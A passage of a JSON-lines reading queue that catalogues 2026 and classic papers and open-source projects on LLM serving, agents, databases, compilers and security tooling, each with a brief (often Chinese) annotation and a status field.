relevance."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"nestedkv","area":"papers","topic":"machine-learning","title":"NestedKV: Nested Memory Routing for Long-Context KV Cache Compression","meta":{"col3":"2026","col4":"Combines global/block/sliding-window anchors with multi-time-scale anomaly scoring."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"triaxialkv","area":"papers","topic":"machine-learning","title":"TriAxialKV: Extreme Low-Precision KV-Cache Quantization for Agentic Inference","meta":{"col3":"2026","col4":"Mixed-precision KV quant tailored to agent workloads (multi-turn, tool calls, multi-modal)."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"memory-tool-use-agents","area":"papers","topic":"machine-learning","title":"When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?","meta":{"col3":"2026","col4":"Decouples memory abstraction from inference strategy across best-of-N/beam/MCTS. High priority for agent design lens."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"storm-multi-agent-state","area":"papers","topic":"machine-learning","title":"STORM: State-Oriented Management for Multi-Agent Collaboration","meta":{"col3":"2026","col4":"Replaces git-worktree isolation with explicit shared-state mediation for multi-agent."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"cci-agent-scaffolding","area":"papers","topic":"machine-learning","title":"Cross-Component Interference in LLM Agent Scaffolding","meta":{"col3":"2026","col4":"Full 2^5 factorial over plan/tool/memory/reflection/retrieval. All-In is suboptimal. High priority for agent eng."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"crossover-context-multi-agent","area":"papers","topic":"machine-learning","title":"When Context Hurts: Crossover Effect of Knowledge Transfer on Multi-Agent Design","meta":{"col3":"2026","col4":"2700 runs show context injection hurts as often as helps; single no-context baseline. High priority."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"spec-agent-separation-logic","area":"papers","topic":"formal-methods","title":"Agentic Separation Logic Specification Synthesis","meta":{"col3":"2026","col4":"LLM agent synthesizes propositional/first-order separation-logic specs for million-LOC C."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"amaryllis-probabilistic-iris","area":"papers","topic":"formal-methods","title":"First Steps Towards Probabilistic Iris (Amaryllis)","meta":{"col3":"2026","col4":"First general-purpose probabilistic separation logic supporting dynamic heap allocation."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"first-class-refinement-scala","area":"papers","topic":"compilers-pl","title":"First-Class Refinement Types for Scala","meta":{"col3":"2026","col4":"Refinement types as ordinary types; interact with subtyping/inference/pattern matching."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"tutti-ssd-kv-cache","area":"papers","topic":"machine-learning","title":"Tutti: Making SSD-Backed KV Cache Practical for Long-Context LLM Serving","meta":{"col3":"2026","col4":"GPU io_uring + GPU-native object store eliminates CPU intervention from SSD-backed KV. High priority for vLLM lens."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"hexagent-agentic-scheduling","area":"papers","topic":"machine-learning","title":"HexAGenT: Workflow- and Heterogeneity-Aware Scheduling for Agentic LLM Serving","meta":{"col3":"2026","col4":"Schedules online-revealed agent DAGs across heterogeneous A100/H100/H200 PD-disaggregated. High priority."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"llm-serving-needs-math","area":"papers","topic":"machine-learning","title":"LLM Serving Needs Mathematical Optimization, Not Just Heuristics","meta":{"col3":"2026","col4":"Position paper: vLLM/SGLang use FIFO + LRU + JSQ unchanged from classical distributed sys. High priority."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"vibeserve","area":"papers","topic":"machine-learning","title":"VibeServe: Can AI Agents Build Bespoke LLM Serving Systems?","meta":{"col3":"2026","col4":"Multi-agent loop synthesizes whole serving stacks end-to-end; matches vLLM in some configs."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"qwen-vla","area":"papers","topic":"machine-learning","title":"Qwen-VLA: Unifying Vision-Language-Action across Tasks, Environments, Embodiments","meta":{"col3":"2026","col4":"Big-team Qwen unified embodied foundation model: DiT action decoder atop Qwen-VL."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"visualthink-vla","area":"papers","topic":"machine-learning","title":"VisualThink-VLA: Visual Intermediate Reasoning for Low-Latency VLA Policies","meta":{"col3":"2026","col4":"Replaces text chain-of-thought with visual evidence tokens; 8.4s to 0.37s per step."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"hyprland","area":"projects","topic":"operating-systems","title":"Hyprland","meta":{"col3":"C++","col4":"独立的动态平铺 Wayland compositor,36k star、月增 ~900;学 Linux 桌面 infra/合成器架构、wlroots。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"gitleaks","area":"projects","topic":"security-privacy","title":"Gitleaks","meta":{"col3":"Go","col4":"Secret 扫描 CLI,27k star,pre-commit/CI 标配;规则引擎和 git history 遍历是 DevSec 范式。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"bitwarden-server","area":"projects","topic":"security-privacy","title":"Bitwarden Server","meta":{"col3":"C#/.NET","col4":"开源密码管理器后端,19k star;多租户加密存储与 zero-knowledge 设计参考。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"nextcloud-server","area":"projects","topic":"backend-api","title":"Nextcloud Server","meta":{"col3":"PHP","col4":"自托管云存储/协作平台,35k star;plugin 体系/文件同步协议/共享权限模型。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"paperless-ngx","area":"projects","topic":"backend-api","title":"Paperless-ngx","meta":{"col3":"Python/Django","col4":"文档管理系统,41k star、月增 1700;OCR + 索引 + tag 自动化。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"tabby-terminal","area":"projects","topic":"cli","title":"Tabby Terminal","meta":{"col3":"TypeScript/Electron","col4":"现代化跨平台终端模拟器,71k star;学跨平台 GUI 封装 ssh/serial/wsl 多会话。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"authentik","area":"projects","topic":"security-privacy","title":"Authentik","meta":{"col3":"Python","col4":"开源 IdP,22k star,OAuth2/OIDC/SAML 全协议;自托管 SSO 替代 Keycloak。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"ente","area":"projects","topic":"security-privacy","title":"Ente","meta":{"col3":"Dart+Go","col4":"端到端加密相册/网盘,27k star;客户端加密 + 服务端零知识架构。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"nango","area":"projects","topic":"backend-api","title":"Nango","meta":{"col3":"TypeScript","col4":"Unified API for 200+ SaaS,9.5k star、月增 2200;OAuth/连接器/sync 引擎。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"openai-codex-cli","area":"projects","topic":"cli","title":"OpenAI Codex CLI","meta":{"col3":"Rust","col4":"OpenAI 终端编程 agent,87k star、月增 8k;与 Claude Code 对照学 sandbox/工具调用/审批流。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"ccusage","area":"projects","topic":"cli","title":"ccusage","meta":{"col3":"Rust","col4":"分析本地 Claude Code/Codex token 使用与成本,15k star;dev-tooling 自反馈基础设施。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"zizmor","area":"projects","topic":"security-privacy","title":"zizmor","meta":{"col3":"Rust","col4":"GitHub Actions 静态分析器,5.4k star;CI workflow 漏洞模式(pwn requests/token 泄露)。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"ai-dynamo","area":"projects","topic":"machine-learning","title":"ai-dynamo / Dynamo","meta":{"col3":"Rust","col4":"Datacenter-Scale 分布式推理框架,7k star;vLLM 之外的多节点推理范式。High priority。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"cocoindex","area":"projects","topic":"machine-learning","title":"cocoindex","meta":{"col3":"Python","col4":"增量索引/数据流引擎给 long-horizon agent 用,10k star、月增 3k;agent 数据层(embedding/retrieval)。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"ui-tars","area":"projects","topic":"machine-learning","title":"UI-TARS","meta":{"col3":"Python","col4":"字节开源原生 GUI 自动化 agent,10.8k star;vision-grounded computer-use agent 范式。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"maigret","area":"projects","topic":"security-privacy","title":"Maigret","meta":{"col3":"Python","col4":"OSINT CLI,按 username 跨 3000+ 站收集账号画像,31k star;异步爬虫/插件化数据源。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"technitium-dns-server","area":"projects","topic":"network-protocols","title":"Technitium DNS Server","meta":{"col3":"C#","col4":"自托管递归 DNS(DoH/DoT/blocklist),8.6k star;DNS 协议/网络 infra 完整可读实现。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"sqlite-durable-workflows","area":"papers","topic":"databases","title":"SQLite is all you need for durable workflows","meta":{"col3":"2026","col4":"619 分置顶;把 durable execution(Temporal/Restate)压到单文件 SQLite,揭示 WAL+FIFO+索引足以替代专用引擎。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"bijou64-varint","area":"papers","topic":"compilers-pl","title":"Bijou64: A variable-length integer encoding","meta":{"col3":"2026","col4":"Ink & Switch 出品;变长 64 位整数编码新方案,对比 LEB128/varint 给出更紧凑且分支预测友好的设计。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"zig-build-rework","area":"projects","topic":"compilers-pl","title":"Zig Build System Reworked","meta":{"col3":"Zig","col4":"build.zig 大改:把 step graph 拆成纯描述+并发执行;与 Bazel/Buck2 对比能看清声明式 build 架构。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"lfm2-5-8b-a1b-moe","area":"papers","topic":"machine-learning","title":"Liquid AI LFM2.5 8B-A1B MoE Trained on 38T Tokens","meta":{"col3":"2026","col4":"非 Transformer/SSM 混合 MoE,激活 1B 参数;38T token 训练规模公开数据点。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"yocto-alternatives","area":"papers","topic":"embedded","title":"You probably don't need Yocto, and that's fine","meta":{"col3":"2026","col4":"sigma-star 反共识技术分析:何时 Buildroot/Debian 比 Yocto 更对;附决策矩阵。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"compiler-perf-left-on-table","area":"papers","topic":"compilers-pl","title":"Leaving performance on the table","meta":{"col3":"2026","col4":"具体 benchmark 展示编译器没用尽的优化机会(PGO、LTO、自动向量化盲区)。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"rendering-diffs","area":"papers","topic":"editors","title":"On Rendering Diffs","meta":{"col3":"2026","col4":"pierre.computer 写自己 diff viewer 的渲染优化:virtualization、token 级 syntax highlighting。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"pandoc-templates","area":"projects","topic":"editors","title":"Pandoc Templates","meta":{"col3":"Haskell","col4":"Pandoc 模板生态站,把 markdown→PDF/LaTeX/HTML 模板系统化;学术写作/简历自动化。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"openrsync","area":"projects","topic":"operating-systems","title":"Openrsync: An implementation of rsync, by the OpenBSD team","meta":{"col3":"C","col4":"OpenBSD 重写 rsync,BSD 许可、协议兼容;rolling checksum + delta sync 最小可行实现。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"snowboard-kids-2-decomp","area":"projects","topic":"compilers-pl","title":"Snowboard Kids 2 is 100% Decompiled","meta":{"col3":"C","col4":"N64 完整反编译里程碑;matching decomp 工作流(mips_to_c、splat、ido recompiler)。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"mcp-is-dead-debate","area":"papers","topic":"backend-api","title":"MCP is dead?","meta":{"col3":"2026","col4":"quandri 工程博客对 Model Context Protocol 局限的批评(schema 漂移、stdin/stdout 限制)。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"hekaton","area":"papers","topic":"databases","title":"Hekaton: SQL Server's Memory-Optimized OLTP Engine","meta":{"col3":"2013","col4":"CMU 15-721 多周引用;MVCC + lock-free + native compilation 工业首发。High priority distsys/db classic。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"bw-tree","area":"papers","topic":"databases","title":"The Bw-Tree: A B-tree for New Hardware Platforms","meta":{"col3":"2013","col4":"CMU 15-721 索引专题;lock-free B-tree + log-structured page store。High priority。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"wisckey","area":"papers","topic":"databases","title":"WiscKey: Separating Keys from Values in SSD-conscious Storage","meta":{"col3":"2016","col4":"FAST'16 best paper;解释 RocksDB write-amplification 根源 + Titan/BlobDB 设计动机。High priority。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"oltp-looking-glass","area":"papers","topic":"databases","title":"OLTP Through the Looking Glass, and What We Found There","meta":{"col3":"2008","col4":"Stonebraker 拆解 90% 时间在 buffer/lock/log;H-Store/VoltDB/Hekaton/SiloR 共同前提。High priority。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"llmsurgeon-data-mixture","area":"papers","topic":"machine-learning","title":"LLMSurgeon: Diagnosing Data Mixture of Large Language Models","meta":{"col3":"2026","col4":"arXiv 2605.30348;从生成文本反推预训练数据 domain 分布;data provenance auditing 新框架。"},"url":"https://arxiv.org/abs/2605.30348","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"rim-latent-reasoning","area":"papers","topic":"machine-learning","title":"Reasoning in Memory: Unlocking the Working Memory of LLMs for Latent Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30343;用固定 memory token 替代 autoregressive CoT;Hochreiter 团队。"},"url":"https://arxiv.org/abs/2605.30343","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"hullft-ttft","area":"papers","topic":"machine-learning","title":"HullFT: Efficient Test-Time Finetuning via Convex Reconstruction and Gradient Caching","meta":{"col3":"2026","col4":"arXiv 2605.30337;Frank-Wolfe 投影 + gradient reuse;TTFT 质量-速度新前沿。"},"url":"https://arxiv.org/abs/2605.30337","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"compositional-incoherence","area":"papers","topic":"machine-learning","title":"Locally Coherent, Globally Incoherent: Bounding Compositional Incoherence in Multi-Component LLM Agents","meta":{"col3":"2026","col4":"arXiv 2605.30335;多 LLM 组件违反概率公理;Boyle-Dykstra projection 修复。"},"url":"https://arxiv.org/abs/2605.30335","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"demystifying-data-org","area":"papers","topic":"machine-learning","title":"Demystifying Data Organization for Enhanced LLM Training","meta":{"col3":"2026","col4":"arXiv 2605.30334;4 条数据排序原则 + STR/SAW;Microsoft data-efficacy 项目。"},"url":"https://arxiv.org/abs/2605.30334","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"compose-future-theorems","area":"papers","topic":"machine-learning","title":"COMPOSE: Composing Future Theorems from Citations and Formal Structure","meta":{"col3":"2026","col4":"arXiv 2605.30333;arXiv + Mathlib 双图条件生成;108K paired examples 数据集。"},"url":"https://arxiv.org/abs/2605.30333","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"soundness-bench","area":"papers","topic":"machine-learning","title":"SoundnessBench: Can Your AI Scientist Really Tell Good Research Ideas from Bad Ones?","meta":{"col3":"2026","col4":"arXiv 2605.30329;1099 ICLR 提案 soundness 评估;frontier LLM 普遍存在 optimism bias。"},"url":"https://arxiv.org/abs/2605.30329","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"resolution-diagnostics-llm","area":"papers","topic":"machine-learning","title":"Resolution Diagnostics for Paired LLM Evaluation","meta":{"col3":"2026","col4":"arXiv 2605.30315;Open LLM Leaderboard 27% 排名未达统计 resolution;常用 calculator 偏差 ~2x。"},"url":"https://arxiv.org/abs/2605.30315","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"mira-rubric","area":"papers","topic":"machine-learning","title":"MIRA: Mid-training Rubric Anchoring for Source-Aware Data Selection","meta":{"col3":"2026","col4":"arXiv 2605.30288;mid-training 阶段 self-anchored rubric discovery;半 token 匹配全语料。"},"url":"https://arxiv.org/abs/2605.30288","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"projection-bench","area":"papers","topic":"machine-learning","title":"ProjectionBench: Evaluating Scientific Hypothesis Generation in LLMs Under Progressive Information Disclosure","meta":{"col3":"2026","col4":"arXiv 2605.30284;逐步揭示信息测假说生成;GPT-5.4/Gemini 3.1 pro F1=0.7 minimal context。"},"url":"https://arxiv.org/abs/2605.30284","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"loong-doc-mt","area":"papers","topic":"machine-learning","title":"Loong: Human-Like Long Document Translation Agent with Adaptive Context Selection","meta":{"col3":"2026","col4":"arXiv 2605.30274;3E memory module;EN<->ZH/DE/FR 平均 +13.0 metric points。"},"url":"https://arxiv.org/abs/2605.30274","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"mem-ft-lora","area":"papers","topic":"machine-learning","title":"How LoRA Remembers? A Parametric Memory Law for LLM Finetuning","meta":{"col3":"2026","col4":"arXiv 2605.30260;ΔLoss vs effective params 幂律;token-level p>0.5 phase transition;MemFT 优化。"},"url":"https://arxiv.org/abs/2605.30260","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"ccopd-distillation","area":"papers","topic":"machine-learning","title":"CCOPD: Canonical-Context On-Policy Distillation for Multi-Turn Language Models","meta":{"col3":"2026","col4":"arXiv 2605.30251;同 evidence 不同呈现导致 self-anchored drift;32% relative improvement。"},"url":"https://arxiv.org/abs/2605.30251","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"codegraph-claude-code","area":"projects","topic":"devtools","title":"colbymchenry/codegraph: Pre-indexed code knowledge graph for Claude Code/Codex/Cursor","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;为 coding agent 提供 indexed graph context。"},"url":"https://github.com/colbymchenry/codegraph","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"anthropic-financial-services","area":"projects","topic":"backend-api","title":"anthropics/financial-services: Financial services workflows on Claude","meta":{"col3":"2026","col4":"GitHub trending 30d;Python;Anthropic 官方金融场景 cookbook + agent 模板。"},"url":"https://github.com/anthropics/financial-services","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"cloak-browser","area":"projects","topic":"security-privacy","title":"CloakHQ/CloakBrowser: Stealth Chromium passing bot-detection (Playwright drop-in)","meta":{"col3":"2026","col4":"GitHub trending 30d;fingerprint patches;Playwright 兼容;scraping/automation。"},"url":"https://github.com/CloakHQ/CloakBrowser","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"understand-anything-graph","area":"projects","topic":"devtools","title":"Lum1104/Understand-Anything: Interactive knowledge graph for code exploration","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;visualize codebase as queryable graph。"},"url":"https://github.com/Lum1104/Understand-Anything","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"agent-memory","area":"projects","topic":"machine-learning","title":"rohitg00/agentmemory: Persistent memory system for AI coding agents","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;benchmarked memory backend;session 持久化。"},"url":"https://github.com/rohitg00/agentmemory","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"academic-research-skills","area":"projects","topic":"devtools","title":"Imbad0202/academic-research-skills: Research workflow automation for Claude Code","meta":{"col3":"2026","col4":"GitHub trending 30d;Python;学术写作/调研 skill 集合。"},"url":"https://github.com/Imbad0202/academic-research-skills","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"mattpocock-skills","area":"projects","topic":"devtools","title":"mattpocock/skills: Engineering skills reference collection","meta":{"col3":"2026","col4":"GitHub trending 30d;Shell;Matt Pocock 整理的工程实践 skill 库。"},"url":"https://github.com/mattpocock/skills","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"ai-engineering-scratch","area":"projects","topic":"machine-learning","title":"rohitg00/ai-engineering-from-scratch: Building and shipping AI systems","meta":{"col3":"2026","col4":"GitHub trending 30d;Python;端到端 AI 系统从零搭建教程。"},"url":"https://github.com/rohitg00/ai-engineering-from-scratch","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"nine-router","area":"projects","topic":"devtools","title":"decolua/9router: AI coding tool connector with multi-provider auto-fallback","meta":{"col3":"2026","col4":"GitHub trending 30d;JavaScript;多 LLM provider 路由 + 故障切换。"},"url":"https://github.com/decolua/9router","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"ruflo-claude","area":"projects","topic":"machine-learning","title":"ruvnet/ruflo: Multi-agent orchestration platform for Claude","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;agent workflow orchestration framework。"},"url":"https://github.com/ruvnet/ruflo","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"bytedance-ui-tars","area":"projects","topic":"machine-learning","title":"bytedance/UI-TARS-desktop: Multimodal AI agent stack","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;连接 vision-language model 与 desktop infra。"},"url":"https://github.com/bytedance/UI-TARS-desktop","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"andrej-karpathy-skills","area":"projects","topic":"devtools","title":"multica-ai/andrej-karpathy-skills: Claude Code behavior tuning guide","meta":{"col3":"2026","col4":"GitHub trending 30d;Karpathy 风格的 coding agent prompt/skill 集。"},"url":"https://github.com/multica-ai/andrej-karpathy-skills","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"maigret-osint","area":"projects","topic":"security-privacy","title":"soxoj/maigret: OSINT username search across 3000+ sites","meta":{"col3":"2026","col4":"GitHub trending 30d;Python;按 username 收集人物资料;红队/调研工具。"},"url":"https://github.com/soxoj/maigret","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"domain-expertise-real-moat","area":"projects","topic":"engineering-culture","title":"Domain expertise has always been the real moat","meta":{"col3":"2026","col4":"HN best 30d 539 pts;后 LLM 时代护城河讨论;适合 daily reflection。"},"url":"https://www.brethorsting.com/blog/2026/05/domain-expertise-has-always-been-the-real-moat/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"zig-build-system-reworked","area":"projects","topic":"compilers-pl","title":"Zig: Build System Reworked (devlog 2026-05-26)","meta":{"col3":"2026","col4":"HN best 30d 350 pts;Zig 0.x build graph 重写;学习现代 build system 设计。"},"url":"https://ziglang.org/devlog/2026/#2026-05-26","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"rendering-diffs-pierre","area":"projects","topic":"dataviz","title":"On Rendering Diffs (Pierre)","meta":{"col3":"2026","col4":"HN best 30d 204 pts;diff 渲染算法 + UX;适合 frontend/devtool 学习。"},"url":"https://pierre.computer/writing/on-rendering-diffs","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"liquid-ai-lfm2-moe","area":"projects","topic":"machine-learning","title":"Liquid AI LFM2-5: 8B-A1B MoE trained on 38T tokens","meta":{"col3":"2026","col4":"HN best 30d 241 pts;新一代 MoE 开源模型;架构 + 训练数据规模。"},"url":"https://www.liquid.ai/blog/lfm2-5-8b-a1b","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"frontend-lost-decade-ai","area":"projects","topic":"engineering-culture","title":"Is AI causing a repeat of frontend's lost decade?","meta":{"col3":"2026","col4":"HN 30d 399 pts;mastrojs 反思 AI 时代 frontend 复杂度回潮。"},"url":"https://mastrojs.github.io/blog/2026-05-23-is-AI-causing-a-repeat-of-frontends-lost-decade/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"compile-quake-1997","area":"projects","topic":"compilers-pl","title":"Let's compile Quake like it's 1997 (Fabien Sanglard)","meta":{"col3":"2026","col4":"HN 30d 219 pts;DOS toolchain 重现 Quake 编译;优秀经典 build/PL 教学。"},"url":"https://fabiensanglard.net/compile_like_1997/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"various-llm-smells","area":"projects","topic":"machine-learning","title":"Various LLM Smells","meta":{"col3":"2026","col4":"HN 30d 364 pts;LLM 代码生成异味目录;类比 code smells。"},"url":"https://shvbsle.in/various-llm-smells/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"lakehouse-2021","area":"papers","topic":"databases","title":"Lakehouse: A New Generation of Open Platforms that Unify Data Warehousing and Advanced Analytics","meta":{"col3":"2021","col4":"CMU 15-721 syllabus;Databricks/Zaharia;现代 data platform 架构定义性论文。"},"url":"https://www.cidrdb.org/cidr2021/papers/cidr2021_paper17.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"columnar-storage-formats-2023","area":"papers","topic":"databases","title":"An Empirical Evaluation of Columnar Storage Formats","meta":{"col3":"2023","col4":"CMU 15-721;Parquet/ORC/Arrow 实证对比;理解列存格式权衡的必读。"},"url":"https://www.vldb.org/pvldb/vol17/p148-zeng.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"fastlanes-compression","area":"papers","topic":"databases","title":"The FastLanes Compression Layout: Decoding >100B Integers per Second with Scalar Code","meta":{"col3":"2023","col4":"CMU 15-721;CWI;列存压缩 SIMD-friendly 布局;DuckDB 采用基础。"},"url":"https://www.vldb.org/pvldb/vol16/p2132-afroozeh.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"velox-meta-2022","area":"papers","topic":"databases","title":"Velox: Meta's Unified Execution Engine","meta":{"col3":"2022","col4":"VLDB'22;Meta 统一 Presto/Spark/Pandas 执行后端;现代 vectorized engine 工业化案例。"},"url":"https://www.vldb.org/pvldb/vol15/p3372-pedreira.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"morsel-driven-2014","area":"papers","topic":"databases","title":"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework","meta":{"col3":"2014","col4":"SIGMOD'14;HyPer/Umbra 调度核心;many-core 时代 query parallelism 标准范式。"},"url":"https://db.in.tum.de/~leis/papers/morsels.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"efficient-compile-2011","area":"papers","topic":"databases","title":"Efficiently Compiling Efficient Query Plans for Modern Hardware","meta":{"col3":"2011","col4":"VLDB'11;Neumann;data-centric query compilation;HyPer/Umbra 路线起点。"},"url":"https://www.vldb.org/pvldb/vol4/p539-neumann.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"wco-joins-relational-2020","area":"papers","topic":"databases","title":"Adopting Worst-Case Optimal Joins in Relational Database Systems","meta":{"col3":"2020","col4":"CMU 15-721;WCOJ 进入 RDBMS;图模式查询性能突破基础。"},"url":"https://www.vldb.org/pvldb/vol13/p1891-freitag.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"dremel-decade-2020","area":"papers","topic":"databases","title":"Dremel: A Decade of Interactive SQL Analysis at Web 